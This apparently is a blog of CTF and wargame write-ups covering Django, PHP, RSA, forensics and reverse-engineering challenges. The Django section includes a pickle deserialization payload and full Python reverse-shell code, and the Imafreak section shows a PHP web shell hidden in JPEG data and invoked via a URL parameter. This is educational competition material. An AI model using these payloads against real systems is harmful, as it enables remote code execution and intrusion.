顯示具有 wargame 標籤的文章。 顯示所有文章
顯示具有 wargame 標籤的文章。 顯示所有文章

2013年8月8日 星期四

HITCON 2013 Write Up: Pwned 500

In this problem, a django website was given with it's source code available here. Browsing all the files in the repo, we can find two thing interesting in settings.py.
  1. The session engine is "django.contrib.sessions.backends.signed_cookies"
  2. The SECRET_KEY  is also provided in source code.
When signed_cookies is used, every cookie with sessionid field will treated as  serialized data. Then pickle is used to deserialize. While pickle library is unsafe once it is not apply to ordinary type. So we can follow the document here and complete the attack process. Note that reference document also provide reference code which is wealthy to read.

With following python code, we can convert connback.py into pickle format and invoke the program once pickle.loads() is called to de-serialize.
code = b64(open('connback.py').read())

class ex(object):
    def __reduce__(self):
        return ( eval, ('str(eval(compile("%s".decode("base64"),"q","exec"))).strip("None")'%(code),) )
payload = pickle.dumps(ex())

And we can prepare a reverse shell as follow
socket.setdefaulttimeout(60)
sok = None
try:
    sok = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    sok.connect((host,port))
    sok.send('!P0Wn! Congratulation !!\n') 
    save = [ os.dup(i) for i in range(0,3) ]
    os.dup2(sok.fileno(),0)
    os.dup2(sok.fileno(),1)
    os.dup2(sok.fileno(),2)
    shell = subprocess.call(["/bin/sh","-i"])
    [ os.dup2(save[i],i) for i in range(0,3)]
    [ os.close(save[i]) for i in range(0,3)]
    os.close(sok.fileno())
except Exception:
    pass

Finally, we start a nc for reverse shell to connect and excute exploit.py to retrieve return shell.
bletchley@Viking:~/WorkSpace/2013_Django/pwp-master$ python exploit.py '1%idg#a2%byqh@l1wcv^3kc=e*($0v44(u-c^@bf_lz-@#essk' http://vuln-django.orange.tw
Sending payload, check you listenner

2013年7月8日 星期一

CODEGATE 2012 Write Up: Network 200

In this problem, a pcap file is given and we are asked to find the target host of DDOS.
After list all ip sort by the packet number and trace it one by one, we can find most suspicious flow.
First is attack target to 109.123.118.42 which send a lot of GET connections.
Second one is target to 111.221.70.11, which is SYN Flood.
 The third attack is targetting 199.7.48.190, which resend a lot of SYN with sequnce number 0.
 The last one send a lot abnormal HTTP packet.
Combine this four address, the key is none_111.221.70.11_109.123.118.42_199.7.48.190_66.150.14.48

PHD CTF Quals 2012 Write Up: Forensic 100

In this problem, and QRcode image are given as following pic.


We first use online scanner to scan this QRcode and get the binary string.
7F454C46010000000000000000004305020003001A0043051A00430504000000B931004305B220CD80252000010093CD803030343330354232323043443830323532303030303130303933434438300A
Saving this string as a file, and using file command, we can recognized this file is an ELF executable.
After executing file, we get the string as output.
004305B220CD80252000010093CD80
Then with stegsolve, we can extract some string.
328:5261 72211A07 00CE9973 80000D00 00000000 00001566
EFE453AE B7AFEBEB 515C366D 9C07555B 4739CBEE 3217360A
3A52E015 3C7AA47C F3BC9DEA 16A30B98 8B5ABCC2 B98BD56C
8E84EB4A 7CEACF43 74D01FD6 9D98C282 1D05B79B 2CC4D3E6
4CB09081 42566EEA C2862E0A 2BA7C559 7E7FCB77 97051CFE
55C8DF4A 10A93D07 2DC79C64 39C6E44D 9845B267 21A71566
EFE453AE B7AF74E5 062C467D BD49421B 47D68DB8 E7F5.

The first integer 328 may indicate the length of msg. Therefore we extract first 328 chars as a file, which is indeed an RAR file.
To extract RAR file, we need a password. Hence we use first string as password and express RAR file.
There is an secret.txt and key.
The key is 90f3910ff22f4be0dfa95a2fd6cb8a25

PlaidCTF 2012 Write Up: RSA 200

This problem is the second time which try to break RSA. In the previous practice, the reason to break RSA is using module already factored. In this problem, the vulnerability to break RSA is using small exponent number.

In this problem, an encrypted data is given with an public key.
Using  RSA python module, we can find information about RSA algorithms.
(or use command: openssl rsa -pubin -in id-rsa.pub -text)
The exponent  number used is 3, which is very small. And increasing the risk of rsa. Observing that the encrypt message is related small too, this give us a clue to solve rsa.

According to RSA encrypt schema, the formula below
It can reduce to  
With e=3, we can get following formula 
Since we have value of M and N, while C is plain text we need to solve, only K is unknown. With small small M and e, we can consider N is related small.
So we wrote a program which use brute force to find K. To check if the 3-rd root of C-KN is an integer, we can find the true K and the key.

from Crypto.PublicKey import RSA
from Crypto.Util import asn1
from base64 import b64decode
import libnum
import math
import gmpy

pubkey = open('id-rsa.pub').read()
key = RSA.importKey(pubkey)
print "n = "
print key.publickey().n
print "e = "
print key.publickey().e
nkey = key.publickey().n
message = open("enc.dat",'r').read()
print libnum.s2n(message[:-1])

ct = libnum.s2n(message.rstrip())
print libnum.len_in_bits(ct)

c = ct
k = 1
while True:
        if k % 10000 == 0 :
                print k
        p = gmpy.root(c, 3)[0]
        if pow(p,3,nkey)==ct:
                print libnum.n2s(p)
                break

        c += nkey
        k+=1

2013年7月1日 星期一

ForbiddenBITS CTF 2013 Write Up : Misc 150 Invisible

In this problem, a file is provided. Dump the file, we can observe it only contain 0x20 and 0x09.
So we guess it is program call Whitespace. So we find the compiler and disassembler of Whitespace.
After executing the program, we get the following result.
We know that this program only accept some input. Then we disassemble the program and get it's instructions.
This program check if the first character is 'w' and second one is 's'. Then we collect the characters this program reads. And executes the program with expected input "wslang", the key will be shown.


2013年6月30日 星期日

ForbiddenBITS CTF 2013 Write Up : Web 600 Imafreak

Imafreak

In order to practice for wargame, I choose this problem from ForbiddenBITS CTF 2013 and reconstruct this environment. Also some environments are different, the solution are identical. 

Problem Description 

In this problem, the website is provided. There are two pages in this website, an view.php and upload.php.
Take a briefly view of upload.php, this page contains a form to upload image file. With no any parameters,  view.php only show "wrong id" string. There is also a hint "Hint6[Freak]:~)".

Solution

Firstly, Following the hint, we can access view.php~ and view the cource code. Source code can be found here.
The following piece code is vulnerable.

$_GET['id']=str_replace(".","",$_GET['id']);       
$_GET['id']=str_replace("/","",$_GET['id']);
$_GET['id']=str_replace("\\","",$_GET['id']);
if(!empty($_GET['id']) && @file_exists('upload/'.$_GET['id'].'.jpg')){
    $img=file_get_contents('upload/'.$_GET['id'].'.jpg');
    $notFound="";
    $exif_ifd0 = read_exif_data('upload/'.$_GET['id'].'.jpg','IFD0' ,0);
    if (@array_key_exists('Model', $exif_ifd0)) {
        $camModel = $exif_ifd0['Model'];
    } else { $camModel = $notFound; }
        $imgx = 'upload/'.$_GET['id'].'.jpg';
        $imgHand = ImageCreateFromJPEG($imgx);
        $imgSize = GetImageSize($imgx);
        $imgWidth = $imgSize[0];
        $imgHeight = $imgSize[1];
 
        $dd="";
        for ($l = 0; $l < $imgHeight; $l++) {
            for ($c = 0; $c < $imgWidth; $c++) {
                $pxlCor = ImageColorAt($imgHand,$c,$l);
                $pxlCorArr = ImageColorsForIndex($imgHand, $pxlCor);
                $dd.=chr($pxlCorArr["red"]);
            }
        }
        $filex="secretstoreddata/"."secret".($camModel);
        $fp=fopen($filex, 'w');
        fwrite($fp, $dd);
        fclose($fp);
}                                
Therefore we can observe that this php read the image in upload directory and save the red part into secretstoreddata directory. If we can control the content and file extension, then we can inject some code and execute arbitrary code.

We start from file extension, the file extension comes from read_exif_data().  Function read_exif_data() return  EXIF headers from a JPEG file, which is used to maintain some metadata of digital camera.Since EXIF data can be modified, we can modify it and control file extension by exiv2.

File content can be construct by some image library such as python's PIL and php's Image Processing and Generation. Here we following the program in this write up as following.
';
$width = strlen($shell);
// create image using true color
$img = imagecreatetruecolor($width, 1);
for ($x = 0; $x < $width; $x++) {
    // get ascii value of shellcode
    $value = ord($shell[$x]);
    // set a pixel using the ascii
    $color = imagecolorexact($img, $value, $value, $value);
    imagesetpixel($img, $x, 0, $color);
}
// save image using 100% quality
imagejpeg($img, 'imafreak.jpg', 100);
// add Model metadata using exiv2 tool
system('src/exiv2 -M "add Exif.Image.Model .php" imafreak.jpg');
?>                      
After executing this php program, the jpeg file will be generated. Then we access to
http://140.113.216.151:10180/Imafreak/view.php?id=imafreak

Then we send the request to generated php program as follow.
http://140.113.216.151:10180/Imafreak/secretstoreddata/ea5d2f1c4608232e07d3aa3d998e5135.php?c=ls
We can find that there is key.php file in secretstoreddata dir. So we continue to read this file and finally get the key.
http://140.113.216.151:10180/Imafreak/secretstoreddata/ea5d2f1c4608232e07d3aa3d998e5135.php?c=cat%20key.php

 

note

In July 16 2013, a technique blog talk about a malware which emplaoy similar technique.
http://blog.sucuri.net/2013/07/malware-hidden-inside-jpg-exif-headers.html 

2013年6月23日 星期日

DEFCON 21 CTF Write Up:gnireengine 1

gnireengine 1:policebox

In this problem, we got two files, one executable named policebox and a core dump file of policebox.
As we observe the core dump, we found that this core dump file is generated when few instructions after main function. While we need to get some information of getchar(), it seem no clue to continue.
Then we use readelf to check what is inside the core file.
We noticed the section named precord exists, which indicate the core dump contain a program execution record logged by gdb's Process Record feature.
Therefore we first replay this record with gdb, and disassemble the program. Function getchar() is located at 0x08048690, where we can set the break point latter.
 After setting break point, we continue the replay. Then program will halt in getchar() and we can print value of eax, which is the user's input.
Collecting all the input value, the key will showed.
The key is : w0rlds.w0rst.k3yl0gger! 

reference

2013年6月19日 星期三

DEFCON 21 CTF Writeup:3dub 1

3dub 1:badmedicine

In this problem, we only see a login form.








After we login with some username. We get the login successful page.
But it show that "the key is only for the admin"
And if we try to login with admin. The message "admin login disabled" showed.
Then we return to login by other account and observe the behavior of web page by tamper data.
With tamper data, we observe the cookie "username" was set.

After try to login with different username
admin1 : 09c8259ca01f
admiN  : 09c8259c80
We can find that most part of cookie are the same and only differ lightly.
Therefore we can guess that cookies are encrypt by xor operator.
Finally we can find the cookie of admin
admin : 09c8259ca0
Then we change the value of cookie and resend the page to get the key.

2012年12月25日 星期二

Golden Shield Wargame 1 Writeup

In the first problem, a picture is given and ask you to decode it.
It's trivial to rotate 45 degree and remove useless part.Then we can observe that this QR code has opposite color, so we can change the colors. I write a small python program use PIL to rote picture.
import PIL
im = Image.open("QR1.jpg")
new_im = im.rotate(45)
new_im.save("QR2.jpg')


Use online QR code decoder, we can decode that
"恭喜您,解開了QRcode。請到 http://www.multiupload.nl/25BD9YIRO0,下載Golden Shield.apk,KEY就在裡面。"
Then we can goto website download the apk file.
After download the file, we use dex2jar convert the hex file to jar. Then we can use java decompiler to decompile the class file in jar back to java code.

The decompile result
 Then the string "@@@@您累了嗎? 來聽首歌好嗎?@@@@@" is the key.

Golden Shield Wargame 2 Writeup


This problem is "I am a bot. My boss give me a key!" and a file 100.bin is given.
Although file command analysis this file as data, we can conclude this file is a pcap file by hex editor. So we can open this file by Wire Shark. After checking some packets, I find out some packet has use "PRIVMSG" command, which is IRC command. Therefor I follow TCP stream of those packet, and it is potential botnet traffic we need to analysis.
And observe this traffic, we can find a get command to 118.168.56.240
We first try to connect 118.168.56.240 directly, but it's fails. So we turn to find the traffic to 118.168.56.240 by wireshark. After selecting those packet and following TCP stream, we find the key in packet.
  

2012年8月12日 星期日

HIT2012 Wargame Writeup : Binary 7

This is Binary 1 writeup in HITCON 2012. Binary1 is the easiest binary problem. This problem give an executable and make you read the key.
It is easy to use IDA pro to inspect program flow which create 10 thread and write something to file "key.txt". So it is easy to guess that content wrote in "key.txt" is the answer.
Flow of t100.exe
There are decompile code that each thread.
Those threads sleep some times of a random number then print some characters to file.But without give rand function a seed, all random number produced in each thread is the same.So we can easily sort the characters in each thread by there sleep and get the key.

2012年8月2日 星期四

HIT2012 Wargame Writeup : Binary 1

This writeup is about problem Binary 1 in HITCON 2012.
There is the description about  Binary 1:
Kenny 意外地從探險家手上獲得了一張海外的藏寶圖,但看起來似乎失去了下半部分,你能幫助他找到寶藏嗎??
And there is a kenny.zip  provided , which contain a Keyexe.jpge file inside.

We can observe that Keyexe.jpge can open by double-click , but can not open by image editor such as paint.So we can infer that Keyeze.jpge is not a jpge file but an exe file , which use windows reverse file name method to hind itself.[資料補充~~] 

After change the file name to key.exe, we can open it by debugger(because origin filename include invalid character).

We can find out that jpge file showed is 2.jpge in temp directory. After short analyse , we can find out there are 3 files create while execution.Those files are 1.jpge,2.jpge and SYS. 1.jpge is an image file contain "ioctl: 6666" message.SYS is device driver. Now we can guess next step is to register this device and send 6666 message to it through IOCTL.

By using IDA or ollydbg , we can find device name is Kenny.Then we can write a small program to send message to driver.Then driver will response "Boracay.exe" in debug message. Finally we change the original executable's  filename to Boracay.exe and execute it.The key "hey it nice" will displayed in DebugView.
[補充圖片]


ps. thanks for kost0911's sharing .He's article help me to find out device name , so I can complete this problem.
http://kost0911.pixnet.net/blog/post/91590907  

HIT2012 Wargame Writeup : Mobile 1

There was a new catalog - Mobile added in this year HIT wargame. Although there are two problem in this  catalog , it can point out that mobile security is future trend in security.
Mobile 1 is an easy problem , there are only two things need to do.
First , unzip the apk file. Then open files one by one , then we can find some string in META-INF/CERT.RSA ."What is the guy's nickname in base64 format?" .So we can find the guy's nickname in article and encode it as base64 to get the key.
Reference to wiki , CERT.RSA is the certificate of the application